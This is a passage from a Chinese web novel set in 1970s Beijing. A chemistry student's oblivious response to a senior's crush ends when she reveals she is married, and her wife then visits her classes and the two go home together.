在季白青离开之前,王学君将她叫住:“对了白青,这次考试成绩不太理想的同学你把名单整理出来,派几个人辅导辅导。” 季白青点头,回了宿舍。 王玲回来的时候,她将人叫住,两人站在宿舍门口小声说话。 王玲手上还捧着书,有些奇怪道:“白青,怎么了?” 季白青轻声道:“王玲,你想跟李思齐老师吗?她那边实验室缺个帮忙的学生,我觉得我不太合适,就向她推荐了你,老师说给的补贴挺高的,你要去试试吗?” 闻言,王玲立即点头。 “我当然愿意!” 王玲是南溪省被下放的知青,被下放了几年,最后在村里和一个可靠的男人结婚生子,靠着一家子的支持才考上了华清大学。 她现在在学校过着安生日子,家里丈夫女儿却过得很不容易,但是如果有老师补贴加上学校的补贴的话,就可以在把家人接过来,在学校附近租个房子了,到时候做个什么小生意都比现在过得好。 念及此处,王玲的眼睛微微湿润。 “白青,谢谢你想着我。” 季白青不习惯这么煽情的画面,摆了摆手:“不用谢,你应该感谢你平时的努力才对。“ 如果不是王玲平日里就很用功,每次数据都算得很细致,季白青和她一个小组很省心,她也不会推荐她。 不过是随口一句话的事,王玲最应该感谢的确实是她自己。 不过进去前,季白青事先提醒道:“你明天记得去李老师那报道,待会儿进宿舍之后这件事就别提了。” 如果被其她舍友听到,她们也许会多想。 王玲点头。 晚上,季白青把辅导名单整理出来,第二天将名单交给王学君,在一个月过后,温淼的英语竞赛结束,取得了个不错的成绩,开始空闲下来了,但她一空,季白青却开始忙碌起来。 每天早上六点开始起床跑操,吃了饭之后看会儿书又到了上课时间,在一天的课程里还需要抽空将笔记整理好,挤出晚上的时间用来看于景和张凤她们的留下的笔记和实验数据。 将大概的情况和数据了解清楚之后,在入学第三个月季白青就进了实验室,一有空闲的时候就往实验室跑数据。 于景参与的实验正处于开始阶段,季白青参与进去跟得上,也能学到很多。 张凤那边已经到了收尾阶段,所以她就只是会去给张凤打杂,将实验数据重新计算,再重置些小实验。 在实验室待久之后,和于景的其她学生也熟悉起来。 于景一共带了五个学生,都是抽取的各年级的优秀学生,巧的是,还都是女孩。 一群同性别的人群天然就更容易拉近距离。 有三个都是高年级的学姐,还有一个是和季白青同级不同班的女同志,叫卫如兰,因为课程相同,寝室还相邻,她们便经常一起进出实验室。 半个多月之后,两人的关系比一般人要亲近一些。 这天将实验数据整理好之后,两人从实验室回学校。 在公交车上,卫如兰偷偷看了她几眼,有些紧张地舔了舔唇,一想到学姐给自己交代的任务,她在内心自我建设了良久,最后还是开了口。 “白青,我想问你一个问题。” 季白青原本在看窗外往后流动的风景,听到了她的话过后,侧目看过去,存着些疏冷的目光落在她的身上。 青年高高瘦瘦,按在栏杆上的手纤瘦有力,腕骨微微凸起,再往上,那张脸清隽秀气,很白,不笑的时候带着几分冷,笑起来却显得多了几分温柔。 也难怪会被眼光最为挑剔的学姐看上。 就是卫如兰觉得,她夹在中间觉得很难做。 她问:“怎么了?” 被她这样看着,卫如兰有些心虚,清了清嗓子,最后小声道:“白青,你喜欢男人还是女人啊?” 季白青有些奇怪她为什么要这样问,如实道:“女人。” 闻言,卫如兰的眼瞳亮了些,听起来学姐似乎有些希望。 学姐那样的女生,不可能有人不喜欢吧。 她趁热打铁继续问:“那你喜欢什么类型的女生?” 怕季白青不肯回答,她绞尽脑汁想了个接口,脸颊微红: “就是我喜欢我们专业同级的一个女生,但是不知道她喜欢什么样的类型,我自己也没什么经验,所以想要问问你喜欢的类型是什么样的,好做个借鉴。” 季白青看着她泛红的脸蛋,没有怀疑什么,不过是她之前怎么没听卫如兰提过她喜欢谁? 季白青喜欢的类型就是温淼那样,她慢慢开口:“我和你喜欢的人喜欢的类型肯定是有区别的,感觉你问我的话还不如去直接旁敲侧击问她呢。” 卫如兰见她不回答,急得脸蛋都红了。 “我想听听你的,白青你就说给我听听吧。” 季白青莫名看了她一眼,只好开口道:“我喜欢比我大一点的。” 卫如兰点头。 “长发、聪明、努力,但在我面前可以娇气一点……”说到最后,季白青都不知道怎么继续形容。 要将温淼框在某一个固定形容词里面,对她来说好像有些难度。 在季白青的心里,温淼是多变的,很难用几个词就能够形容出来。 她点到为止:“大概就这些吧。” 卫如兰点头,打心眼里觉得程书意和季白青喜欢的类型十分相符。 程书意长得漂亮,一头长卷发张扬,性格也要强,也很努力,在同级里一向都是第一,对熟悉的人确实是娇气一点。 完完全全和季白青的理想型对应上了。 她暗暗点头,“我知道了,白青,明天就开始留长发。” 季白青看着她到肩膀长度的头发,有些无奈。 “这只是我的喜好而已,和你喜欢的人的喜欢又不一样。” 卫如兰一笑,没有辩解什么。 两人很快到了学校。 到学校之后,卫如兰连忙找到了程书意的寝室,将季白青的话所给她听。 闻言,程书意若有所思地点了点头。 等到下一次再去实验室的时候,程书意将自己做的点心给实验室的人都分了点,最后分到季白青的时候,她笑着询问道: “白青,待会儿做完实验有时间吗?我请你吃个饭,有些问题想问问你。” 季白青没有接过点心,有些不好意思地对她一笑:“师姐,我不太爱吃甜食,给我的话太浪费了,你还是给别人吧。” “今天晚上没空,刚才老师给我新拿了一份数据还得回去算,学姐有问题现在直接问我就行,不过我还没学到大三的内容,不一定能解答。” 她下意识将问题归为学业类了。 卫如兰在一边看得有些尴尬,将程书意手里的点心接过:“师姐,我喜欢吃,让我吃两份吧。” “那个,我晚上也有空,我们一起吃饭啊。” 季白青的眼神在两人身上扫过,眼神狐疑,随后有几分了然,所以卫如兰喜欢的人其实是程书意?! 那她还骗她说是同级的女生,这明明是师姐。 她也顺着台阶下,撮合两人:“对啊师姐,你和如兰去吧,下次有空我再另外请你们吃饭。” 说话间,于景拿着钥匙来将实验室的门打开了。 程书意看着最先进去的季白青,懊恼地跺了跺脚。 她咬唇想着,自己不是和她喜欢的类型一样吗?为什么对她这么冷淡! 难不成是还没开窍? 也是,想着季白青的年纪,也就二十出头,还不大呢,可能都还没有谈过。 这样的想法在脑海中掠过,程书意心里好受很多。 随后几天,季白青发现,自己与程书意碰面的次数直线增加。 她有时候都很疑惑,世界怎么这么小。 “白青,这次的竞赛,你找人组好队了吗?如果没有的话,我们可以一个队。” 季白青下课后留在教室想要将最后一道题算出来,结果又碰巧遇上了程书意。 她正打算回答,坐在侧前方的卫如兰转过身来,对她挤眉弄眼的,对口型道:“答应她。” 季白青有些奇怪,以为是她想要和程书意组队但没机会,想着总归自己还没组队,便点了点头,轻声道:“可以。” 卫如兰松了一口气,就听季白青自然而然地开口道:“让如兰也一起吧,多找几个人。” 这次化工竞赛对队伍人数没有严格的限制,只要求不超过五个便好。 季白青总觉得程书意每次和自己说话都是为了偷看卫如兰,而卫如兰明明也对程书意有意思,两个人双向暗恋。 她自己的感情状态良好,便也起了几分撮合人的意思。 程书意的唇角一僵,顶着季白青的目光最后还是点了点头。 卫如兰直愣愣地看着季白青,下意识想要扶额。 这人怎么这么迟钝?!难道看不出来程书意喜欢她吗? 不过想到平日里季白青书呆子的形象,她又突然释怀了,可能确实看不出来。 程书意回去的时候,问了两个有经验的舍友要不要和自己组队。 舍友闻言都有些疑惑,“昨天问你的时候你不是说要和白青学妹双人组队,怎么又变了说法?” 程书意摆了摆手,懒得解释,木头不开窍,她还能怎么样。 在准备竞赛的时候,季白青也没有忘记要调查李文宇的事。 毕竟她因为太忙,温淼空闲一段时间也再次开始忙碌起来,两人都不怎么回家,李文宇无论怎么在她们家附近游荡,自然都是找不到人的。 但也总不能等着之后闲下来又继续被他骚扰,季白青便抽出时间打听到了李欣所在的学校。 也是在京市,不过是个并不太出名的学校。 但对现在的学生来说,能上大学就已经很不错了。 她打探清楚了李欣的专业、宿舍,过去之后在楼下找了宿管询问:“姐,我是法学院102宿舍李欣的表姐,找她有事,能进她宿舍去看看吗?” 闻言,宿管将学生登记的表拿出来,指了个名字给她看。 “这个吗?” 季白青看她手下指着的名字,脸色慢慢凝重起来。 她要找的是李欣不错,可登记册上的名字却是“李昕”! 结合几辈子的经验,季白青立马想到了一个可能。 她是不是顶替了别人的名额上的大学?! 这一猜想一出现,季白青联想到李文宇借了那么多人的钱不还,甚至还把房子卖了,原本内心所存的疑惑似乎都突然迎刃而解。 所以借钱是因为她们要花钱给李欣买录取通知书,李欣的名字改为李昕也是为了录取通知书上的录取名单没有出入! 季白青的呼吸逐渐变得有些急促,她将登记册还给宿管后,一转身就跑了。 宿管还有些奇怪:“……诶,不是要找人吗?” 将登记册收好,她坐下,觉得有些莫名其妙。 季白青出了学校后,一时间心情有些沉重。 因为李欣的事,她又想到了第一世的时候,温淼被沈念念顶替了大学名额。 现在的温淼虽然上了大学,可是在不为人知的角落,还是有人凭借着自己的努力考上了大学,却还是不能安稳上大学,或是直接被顶替了名额,或是原本属于她们的录取通知书被以不同的价格卖了出去。 还有一部分人承受着当时温淼所承受的一部分痛苦。 季白青走在路上,眉头紧锁,思考着应对的方法。 不管是这录取通知书是在真正的李昕不知情的情况下被卖出去的还是在知情的情况下被卖出去的,无论是哪一种可能都是对李昕或是其她认真的参与高考的考生的不公平。 她的思绪混乱,最终只能暂时将沮丧的心情按捺下来。 现在还有小组竞赛需要准备,她这段时间需要专心准备实验和竞赛,竞赛结束之后再去将李文宇和李欣的事给解决了。 将事情想通之后,季白青没再继续纠结下去,徒步回到学校,出了一身汗,心情也转变得差不多,没那么郁闷。 回到学校之后,她一边兼顾学业,一边处理实验室的数据和小组竞赛。 在她们小组五个人的共同努力之下,竞赛的结果不错。 她们小组得了化工竞赛的小组第一名。 趁着这个机会,程书意组织了一场饭局,几个人去国营饭店一起吃饭。 季白青也没想着扫兴,便打算吃了饭就回去继续学习。 争取把学业处理好后再将时间空出来,好方便后续处理李文宇和李欣。 几个姑娘坐在桌上,点了几道菜,又去买了汽水,细声笑着说话的画面倒也挺养眼的。 季白青和她们一起吃饭也没什么不自在,状态舒服。 饭局到了尾声,季白青吃得差不多,喝了口汽水之后,正打算怎么开口先提回去,就听见程书意的一个舍友开口询问道:“季学妹,我想问你一个问题。” 季白青突然被点名,有些茫然地抬眼看向她,轻轻点头。 她有些奇怪,心想怎么最近谁都在问她问题啊。 舍友笑眯眯地看了眼略显紧张的程书意,随后将视线挪开,放在季白青身上问:“你有喜欢的人了吗?” 季白青点头。 “你喜欢比你大的,长发、明艳、聪明的女生是不是?” 季白青再次点头。 见状,另一个舍友起哄地“哦”了一声,弯起一双眼睛捂住嘴,在一边打扮漂亮的程书意的眼睛微微发亮。 卫如兰撑着脸,掐着手心按捺住内心的激动。 今天该不会就在一起了吧?! 舍友趁热打铁问:“是我们学校的吗?打算什么时候表白?” 对上四双好奇的眼睛,季白青老实巴交回答: “不是我们学校的,不过应该不用表白吧?早就在一起了,谈了两年恋爱,现在都结婚有一年了。” “学姐,你问这个干什么?” 【作者有话说】 是学业批小季! 真想写一千字赞美之词来夸这个勤劳又早早更新的宿宿雪 感谢投雷营养液,感谢评论订阅收藏~ 118 第118章 ◎反差◎ 程书意的舍友听完季白青的话后,满脑子只有一句话。 ——完蛋了。 她下意识侧过头去看了眼程书意,见对方的的脸色瞬间变得有些僵硬,顿时闭了闭眼。 场面一时间变得太过诡谲,她现在已经不敢看了。 太尴尬了,饶是让她怎么想都不会想到季白青喜欢的人不是程书意就算了,就算是说一句正在谈恋爱她也还勉强能接受,可好家伙,这人一开口就直接跨过谈恋爱阶段,直白地说她已婚一年了。 舍友忽然有些后悔自己刚才为什么要多嘴问那么两句。 听完了全过程的卫如兰懵了好一会儿,满脸震惊,张了张唇,最后忍不住开口询问:“我怎么不知道你结婚了?” 那她这段时间帮着撮合季白青和程书意算是什么?而且每次季白青都还那么配合,就是会把她也顺带带上。 季白青抬眼,同样疑惑地与她对视:“你也没问啊。” 卫如兰:“……” 确实,她只问了季白青喜欢什么类型的女同志,但没问她有没有结婚。 但她到现在还是觉得难以置信,季白青看起来还那么年轻,就结婚了。 提出问题的舍友干巴巴道:“哈哈,那你们感情还好吗?但我们好像都没听你提起过你爱人。” 这是她们误会季白青没有谈恋爱的主要原因,谁谈对象会这么久以来一句都不提一嘴的。 听了她的话,季白青想到温淼,神色温柔几分,眉眼间带了几分春水般融融的缱绻情谊。 她低声道:“我们感情挺好的。” 季白青对温淼的依赖程度深,现在正处于对女人的戒断阶段,只能尽量避免提到她,心里想的少了,这样才能更安心地待在学校里。 不提只是为了避免过度想念。 而且因为专业课程经常需要做实验,季白青怕自己频繁将戒指取下来容易弄丢,便跟金戒一起串在了项链上,挂脖上带着。 平时都被衣服遮挡,所以才引发了误会。 闻言,其她四个人都彻底沉默下来。 四人相互看了好一会儿,程书意扯了扯唇角,干笑:“这样啊,什么时候把你爱人来带给我们认识认识。” 虽然她对季白青有些好感,但程书意有自己的骄傲,在听到季白青说她结婚后就将自己那点喜欢的情愫压制下去。 虽然她不能做到立马释怀,但表面话还是得说上几句。 季白青笑着点头:“好啊,不过得她有时间才行。” “她感觉可比我忙多了。” 想到两人都快一两个月没见面了,季白青的语气不自觉就带了几分谴责,展现出平时难以见到的少女心气的一面。 原本在准备竞赛的过程中,众人见她沉着冷静的理智模样居多,现在看到了她与先前反差极大的模样都有些惊讶,在季白青抬头之前默默将惊掉的下巴合上。 扯了几句,季白青想起最开始的目的,看向程书意舍友疑惑问道:“学姐,请问你刚才问这个问题是有什么事吗?” 舍友干笑两声:“哈哈,没什么,就是好奇像你这么好的人到底会喜欢什么样的人。” 季白青了然点头,心想,如果不是她们没有见过温淼,那她们就该知道是温淼更好才对。 她将最后一口汽水喝完,站起来有些歉意:“学姐,如兰,我待会儿还得回去复习,现在也吃得差不多了,我就先失陪了。” 程书意沉默地撑着额头,无力地对她摆了摆手。 还是快点走吧,她现在有些心力交瘁。 等到目送着瘦高的青年离开后,四个人才炸开了锅。 卫如兰结结巴巴解释:“师姐,我是真的不知道白青她有对象,不然怎么也会和你说的……” 舍友也有些愧疚:“对不起啊书意,我也没想到学妹喜欢的人不是你,早知道刚才不应该乱问的。” 程书意捂着又中了一箭的心脏,沉默了一会儿后,长叹出一口气。 “没事,我也没想到。” “既然她已经结婚了,那我以前喜欢她这件事你们就别提了,不然对她和她妻子不好。” 叮嘱完之后,程书意想着刚才季白青脸上的柔意,还真的有些好奇她的爱人到底是怎么样一个人了,竟然能让木头发芽- 这几天季白青加班加点将专业课复习了,两门课程的期末考试结束后,实验室的研究也有新的进展,这段时间于景和其她专业人士参与研究,少了她们这些学生很多事,接下来有一段时间能够慢慢空闲下来。 季白青心里还在惦记着李文宇一家子干的好事,看了眼宿舍挂的日历,今天周五,明天的一节课恰好调到了今天,突然多出来两天的时间可以供她解决李文宇她们。 在教室坐下之后,见着老师已经进门了,季白青将纷乱的思绪整理好,翻开书安静准备听课。 课上到一半,还有几分钟就到课间休息时间。 坐在靠窗的地方的同学却不知道从什么时候突然开始窃窃私语,让原本正在认真讲课的老师也忍不住注目。 看清窗外站着的人后,老师用教棍敲了敲黑板,警告道:“安静!外面的女同志再好看也不要在课堂上讨论,什么话待会儿下课之后再说。” 季白青盯着黑板,对周遭讨论的声音没有任何反应,目不斜视盯着黑板。 几分钟过后,下课铃响起,中途有十分钟的休息时间, 季白青将刚才的重点标注上,正低着头记着这句名词解释,很快有人在叫她的名字。 “季白青,门外有人找。” 季白青最开始看书太投入,自动屏蔽了其它声音,还是坐在她身边的室友孙晓天听到后伸手拍了拍她。 “白青,教室外有人找你。” 她抬头,有些疑惑地看向门外,没能见着人。 倒是一眼就看见了走廊处站着的一些围观群众。 是谁找她?她有些摸不着头脑。 站起身来,往外走,她侧目看过去。 现在正值五月,风和日丽,女人穿着一身粉色收腰长裙靠着墙壁,黑色长卷发披散在肩头,越发显得脸颊莹白,风将鬓边的碎发吹起,裙摆也微微飘扬,像是挂在桃树枝头的一朵桃花,柔软动人,一颦一笑皆是风情。 是温淼。 季白青差点以为是自己眼花了,在原地站定了几秒确定好不是幻觉之后才大步向温淼走过去。 两人一个多月没有见面,她也顾不得此时有外人正在看着,一把将温淼抱进了怀里,声音低哑落在对方耳边: “老婆……” 嗅着温淼身上熟悉的香味,这段时间被压制的思念情绪现在突然之间像是回潮一般反噬,几乎将她的整个人都拍在岸上,铺天盖地地袭来,见着人了,但她还是快要在思念的潮里溺亡。 季白青的眼眶默默红了些,软着的声音显得有些委屈,问她:“你怎么来了啊?” 见着两个人抱在一起,周围原本只是悄悄看大美人的女生瞬间瞪大了眼睛。 “哇!” 有人是站在温淼身后的方向,轻易就能看到季白青泛红的眼皮,一时间更为震惊。 平日里最为冷静淡定且沉稳的专业第一在见到了陌生的大美人之后竟然眼红了?!装的吧。 温淼听出来她话里的委屈,也不再关注周围人的视线,压低声音柔声回答:“好啦,最近刚闲下来,所以现在想来陪陪你,待会儿不是还要上课?我们先进教室好不好?” 被这么多人盯着,她也有几分不自在。 虽然在京市大学的时候,她早就被别人用目光注视习惯了,但这毕竟不是她所熟悉的地方,即使放在她们身上的目光都是善意的,温淼也觉得不太适应。 季白青被她这么一提醒,这才后知后觉落在她们身上各色的眼光。 她的脸颊微红,落在温淼身上的手收回,站直了身体,眼神飘忽一瞬,最后还是落在温淼的身上。 她盯着温淼的脸,心想,她老婆可真好看。 将人的手牵紧,季白青带着温淼进到教室。 前面已经被坐满了,再找不出一个双人的空位。 季白青找了后座的两个位置,让温淼坐下之后才回到前排,将自己的书和笔记拿上,和其她舍友解释道:“我爱人来陪我一起上课,我现在先陪她去坐后面了。” 看着她冷白面颊上那抹明显的粉晕,几个舍友憋住心里的惊涛骇浪,纷纷点头。 丁佳盈嘿嘿一笑:“去吧去吧,不用管我们!” 季白青的爱人她刚才看过了,真的太漂亮了,和她也很登对。 主要一眼就看出来季白青肯定很爱她,在一见到她之后表现得和平日里在其她人面前的完全不一样。 丁佳盈搓着手,往后看了眼,有些激动。 再度在温淼身边坐下的时候,盯着黑板上的公式,季白青还有些飘飘然,心没有落到实地。 她还没从温淼主动来学校找她还愿意来陪她上课的惊喜之中反应过来。 现在还没上课,不少人都好奇温淼和季白青的关系,不时地转过头来看向她们。 温淼有些不自在,手搭在了季白青的手背上,轻声问道:“我进教室来的话会不会打扰到你们上课啊?” 季白青立马回答道:“怎么会?我们认真上课,又没有违反课堂纪律。” 即使是在七十年代,大学时期处对象的也有不少人。 谈恋爱的时候大多都黏糊,没课的时间便老想着要黏在一起,在一个人没课一个人有课的时候也有会愿意去陪对象上课的。 想了想,温淼觉得也是,便放下了心里的纠结。 上课铃很快响了起来,老师出去歇了口气之后回来,一眼就看见了前排原本坐得满满当当的位置缺了人。 视线在教室了扫了一圈,最后落在在后排坐着的季白青和温淼身上。 她看着温淼的时候还有些疑惑,心想这是她们化工专业的学生吗?刚才门口的人是她吧? 疑惑被按进了心里,老师清了清嗓子,道:“好了同学们,我们现在继续上课。” 又讲了一节教科书的内容,看着书上的习题,她给了学生五分钟的时间做题,五分钟一过,老师的眼神再度落在季白青身边的女同志身上。 “季白青旁边坐着的那个女同学,你起来回答一下这个问题。” “这道题选什么?” 温淼刚才也跟着听了十几分钟的课,上的内容不算特别难,她没听到前面的知识点也勉强可以理解。 季白青做题的时候她也跟着看了一眼,心里有了答案。 她落落大方地站了起来:“老师,这道题我选C。” 她将解题思路娓娓道来,讲台上的老师听得止不住点头。 “对啊,这个同学的思路很清晰,答案也对了,大家都是这么想的吗?” 台下的学生有人点头有人摇头。 老师笑眯眯地压了压手,示意温淼坐下。 按着登记册看了看,问道:“刚才那位同学,你叫什么名字啊?我给你记个平时分。” 季白青站起来,对老师解释道:“老师,我身边的同学叫温淼,但不是我们专业的学生,她是我对象,来陪我上课的。” 这话一出,整个教室里的人瞬间都不困了:“哦~~~” 不知道是谁先带的头,教室里的起哄声越来越烈。 季白青拉住温淼放在桌下的手,坦然地被众人看着,她笑盈盈道:“都二十多岁了,有对象了很正常吧。 老师听了她刚才的话也是一愣,随后无奈地笑了笑,开口道: “原来是这样,大家现在快都打起精神来,别的专业的学生都能将我们的题做对了,可别落在她们后面。” 今天上午是满课,在第三四节课上,季白青的室友给温淼多占了一个位置。 季白青询问了温淼的意见之后,让温淼坐在了她和丁佳盈的中间。 见对方对自己似乎是有些好奇,课间休息时间,温淼和丁佳盈小声地说着话。 丁佳盈看着她,眸光明亮,毫不收敛地当面夸人道:“你好漂亮,我听白青说过你是京市大学的,还这么聪明,这么看季白青可真有福气。” 温淼垂眸笑了笑,认真回答道:“阿青也很优秀啊,聪明又负责。” 就连出姣好的样貌都只是一堆优点之中最不值得一提的方面。 闻言,丁佳盈赞同地点了点头。 “白青确实很厉害,读书也很用功,我们宿舍多亏她带着,不然的话肯定会比现在松懈的。” 在关于学业这一点上,温淼和季白青妻妻二人的观点还是很一致的。 既然上了自己想要的大学和专业,那就要努力学习,争取做到最好。 简单几句下去,丁佳盈就对温淼的好感直线上升。 她没想到看起来艳丽、难以接近的大美人居然这么好说话,脾气很好,性格温柔,说话也斯斯文文,让人光是听着就觉得很舒服。 也难怪季白青这么喜欢她,两个人无论性格还是样貌都很相配。 她们也没聊多久,这节课是于景的高分子化学与物理,见她来了,季白青将自己手上的书放下,上台对于景简单说了几句话。 温淼好奇地看了过去,和于景对上了视线,见她看着自己的眼中含着善意,温淼下意识弯起眼睛,对她笑了笑。 季白青回来之后,温淼疑惑问道:“阿青,你刚才上去说什么啊?” 不像是请教问题,大概和她有关,不然老师为什么会突然看着她? 季白青翘起唇,解释:“我告诉她你是我女朋友,让她待会儿课堂提问可千万别叫你,你脸皮薄。” 温淼好不容易有空来看自己一次,要是上一节课的事情多来几次,脸皮薄的女人下次怕是会不敢再过来了。 听了她解释的一番话,温淼有些不好意思,“主要是我也不一定能答对。” 也就刚才那节课的内容不需要联系前面所学过的内容,不然温淼也不一定能做对。 想着恋人这么在意自己的感受,她内心还是多少带了几分甜意。 季白青应下来:“所以让她不叫你,有什*么问题直接叫我就行。” 接下来的课倒是没有什么事情发生,温淼拿着季白青其它书的笔记翻了翻,安安稳稳地上完了一节课。 课程结束之后,人群往外挤。 季白青让丁佳盈她们先去食堂,自己和温淼晚点再走。 等着人走得差不多后,季白青带着温淼到于景面前。 她介绍道:“老师,这就是我跟你说过的人,我妻子温淼。” “淼淼,这是于景老师。” 温淼面带浅笑,和于景握了手。 “老师好,感谢老师这段时间对阿青的照顾。” 于景哈哈一笑:“这有什么的,白青这个孩子很有天分,又这么努力,以后毕业了继续在这个行业深造,一定会有更大的成就。” “好了,你们妻妻俩下次有时间就一起去我那吃饭,你们也这么久都没见,趁着现在快好好说说话。” 说着,于景也没多耽误妻妻的时间,将东西收拾好后,拿着包往外走。 季白青和温淼偷偷咬耳朵:“于老师人很好的。” 就是偶尔不拿学生当人看,有时候实验室的工作太多,还把学生留在实验室过夜,做了一晚上的重复试验,还要算数据,到了第二天还是得赶去学校上早八。 但是给的补贴还挺多,比学校每个月发的十六块多了四块。 第一个学期忙碌一些,季白青想着她和温淼的存款,倒也没有急着要去赚钱。 她现在的想法是,已经有了以后想要努力的方向,那就目前先多花点时间将基础打好,等到适应了现在的学习强度和节奏,再去抽出额外的时间想赚钱的事。 季白青将自己的东西收拾好后,教室里空荡荡的就剩下她们两个人。 她带着温淼去学校食堂打饭。 虽然华清大学的食堂的伙食没有比京市大学好到哪去,但是季白青还是想让温淼尝尝味儿。 今天食堂做了土豆炖鸡和鱼香肉丝,打好饭后季白青又在四处查看哪有空位能够给两人坐下。 卫如兰在今早已经震惊过一次了,在见到温淼的第一眼,她只能承认季白青对自己喜欢的人的描述十分准确。 黑长发,明艳妩媚,动作间透着风情万种。 她的第一想法是好漂亮。 但很快她想到了还没有表白便得知噩耗的程书意,卫如兰回神后一有时间就转头看看温淼,想着待会儿跟程书意怎么描述。 这可是师姐交给自己的任务。 在下课铃打响的第一时间她就冲出了教室,轻易在食堂找到程书意之后,她和程书意坐在一起,对她说自己对温淼的印象。 “师姐,季白青真的不是在骗人,我看她妻子今天来学校了。” “她长得可好看了,当然,师姐你也很好看,但是你们不是一种类型。” 如果是温淼看起来像是娇艳的蔷薇,那程书意就是带刺的红玫瑰,两人都好看,但透出来的那股劲不同,一个娇艳,一个冷艳。 程书意回去也就难过了几天,现在早就释怀了。 不过她倒是真的想知道季白青那样的木头谈起恋爱来、在自己老婆面前到底是什么样的。 也会像是在见着她们一样有分寸,冷静又淡定吗? 她好奇问:“那你看她和她老婆的关系好吗?” 卫如兰想了想,摇了摇头。 “我也不知道,一上午都在上课,我都没怎么看到她们说话。” “不过今天发现她老婆在教室门口等着她的时候,白青好像还挺激动的,当着好多人的面还抱了她。” 只是一个拥抱而已,证明不了什么。 所有的情愫都应该藏在相处的点点滴滴之中,两人那么久不见,居然会不怎么说话。 程书意疑惑道:“难道白青是骗我们的?实际上她们妻妻之间只是相敬如宾的关系?” 话音刚落,一道熟悉的声音插了进来。 “书意师姐,如兰,我们可以坐你这吗?” 被叫到名字的两人险些被吓出一身冷汗,两人对视一眼,随后看向端着饭的妻妻两人,同步点头。 卫如兰干笑:“坐吧坐吧。” “你们说什么呢?” 两人都摇头:“没什么,在说上次的数据。” 季白青大喇喇坐下,在温淼坐下之前给她擦了擦凳子和桌面。 “淼淼,坐。” 说完后,她对程书意和卫如兰介绍:“这是我妻子温淼,淼淼,这是我师姐程书意,这是卫如兰。” 温淼笑着对她们打了个招呼。 程书意的视线落在温淼身上,卫如兰刚才说的话没错。 温淼……真的特别漂亮。 漂亮到季白青在她身边都被衬得有些平庸,但看起来还是登对的。 一冷一媚,刚好形成互补。 想着刚才卫如兰所说的她们不太说话,程书意有些疑惑。 这木头有个这么好的老婆,难道也不知道珍惜? 不过在看完她们一起吃饭的全过程之后,程书意只想回去给刚才的自己一巴掌。 这季白青在温淼面前哪有在她们面前的清冷疏离之感,对温淼关注得就差亲手给她喂饭了,这哪是不珍惜,分明是当宝贝疙瘩似的宠着。 她盯着季白青将温淼碗里的饭挖了一半到她自己碗里的时候没忍住开口: “温淼的饭你抢什么啊,吃不饱再去打不就得了。” 季白青闻言一愣,随后好脾气地解释:“她吃不了这么多。” 程书意闻言,知道自己误会了,有些尴尬地“哦”了一声。 随后看季白青将自己碗里的鸡肉往温淼碗里夹,水杯也拿出来放到温淼手边,用她从来没有听到过的温柔语气哄人:“先喝点水再吃饭。” 看着鱼香肉丝,她道:“里面的胡萝卜要吃掉,听到没?” 说着,看着温淼颊边散落的碎发,她从书包里找出两个发卡,帮她把碎发夹上去,又替她将一头长发绑好,松松落在肩上,这才收回手。 温淼的耳尖微红,暗暗瞪了季白青一眼,暗示她现在收敛一些。 还有别人在看着呢。 季白青将她碗里的姜块夹出来,随后抬头,对上对面两双明亮的眼睛,有些奇怪道:“如兰,师姐你们怎么不吃?” 看着她们碗里还没怎么动过的饭菜,她好心提醒道:“还是多吃一点吧,不然全都倒掉也太浪费了。” 说完之后,她低下头开始吃饭。 一边的程书意嘴角抽抽。 她错了。 这人根本就不是木头。 只是她们不是季白青喜欢的那个人,所以得不到她的特别对待而已。 她看了眼身边的卫如兰,用眼神示意她快点吃。 等到两人吃完饭之后,便找了个借口直接走了,不愿意再留下来看她们腻歪。 季白青见状也没多想,和她们挥了挥手。 人走了之后,温淼微微松了口气。 刚才总感觉她们的视线反复落在她和季白青身上,虽然知道大概是因为好奇,但温淼还是难免有些不自在。 现在人离开了,总算是没那么紧张了。 她还是有些怕自己留给季白青的同学不好的印象。 季白青感受到她的放松,侧目看过去,柔声道:“她们人都挺好的,刚才也只是好奇,你别在意。” 温淼点了点头。 有了上午的经历,下午陪季白青上课的时候温淼总算是适应了一些。 季白青中午回宿舍拿了这段时间托人买的英语资料给了温淼,下午她也能看看自己相关专业的书。 到了六点多,最后一节课总算是结束了。 回了宿舍将东西快速收拾好,她出了宿舍,准备待会儿和温淼一起回家。 两人好久都没有一起回家待过了,想到这,季白青内心难免有些哀怨。 这样的情绪在见到原本应该在门口等着她的温淼被男人搭讪的时候达到了顶峰。 对方长得帅气,一身整洁的白衣黑裤看起来家境大概也不错。 季白青吸了一口气快步走过去,身体亲昵地同温淼贴在一起,手搭在温淼的肩头。 刚才在宿舍的时候才从脖子上将戒指捋下来戴到手上,此刻泛着银光的戒指明晃晃地昭示着已婚的身份。 季白青拧眉看着男人,问:“请问你找我妻子有什么事?” 男人怎么也没想到,温淼刚才所说的她已经结婚了的话是真的。 面对冷着脸明显有些不太好惹的季白青,他讪讪一笑。 “没、没什么。” 说完之后,他落荒而逃。 季白青见他跑了,轻哼一声,低头看她手上的戒指,有些不满。 “都知道你已婚了,怎么还那么没道德来搭讪,难不成想要撬墙角吗?” 温淼无奈弯唇,“可能是刚才没注意到吧,不过我也没想着和他多说话,他自己不走。” 季白青和她牵着手往校门口走,半道上,她冷不丁地冒出一句:“你在你们学校是不是也很受欢迎?” 温淼一顿,抿了抿唇实在是害怕她吃醋,委婉道:“还好吧,不过我都很直接拒绝的。” 她这样说,那绝对是很多了。 虽然知道温淼只喜欢自己,但是想到那么多人对温淼有好感,她的心里还是觉得有些酸溜溜的。 温淼捏着她的手,反问:“你在学校难道没人对你有好感?” 季白青自然道:“当然没有了,我每天都在实验室和图书馆忙,没听到有人说过。” 她可是十分洁身自好、为老婆守身如玉的人! 温淼瞥了她一眼,明显不太相信。 恐怕是别人对她有好感,但各种示好却不被这人看在眼里吧。 那些喜欢她的人也就只能是把媚眼抛给瞎子看了。 她没说什么,和季白青一起往家赶。 一回到家,进到屋子里,手上拎着的东西往地上掉,发出砰的一声声响。 季白青将温淼按在门板上,掌心抵住她的肩头,细细密密犹如春雨般绵柔的吻落下。 很久没见过,温淼也是想的。 顺从地仰着头,主动伸出舌尖同她勾缠,自愿坠入一片情网之中。 接吻、换气,断断续续持续了好长一段时间。 最后终于接完了一个吻。 季白青弯腰,将下巴抵在温淼肩上,身体的一小部分重量压在她的身上,眼睫垂下,细细地喘着气,一缕一缕的气息打着卷地落在温淼的颈脖之上。 将那一块雪白的皮肤都熏成了粉色。 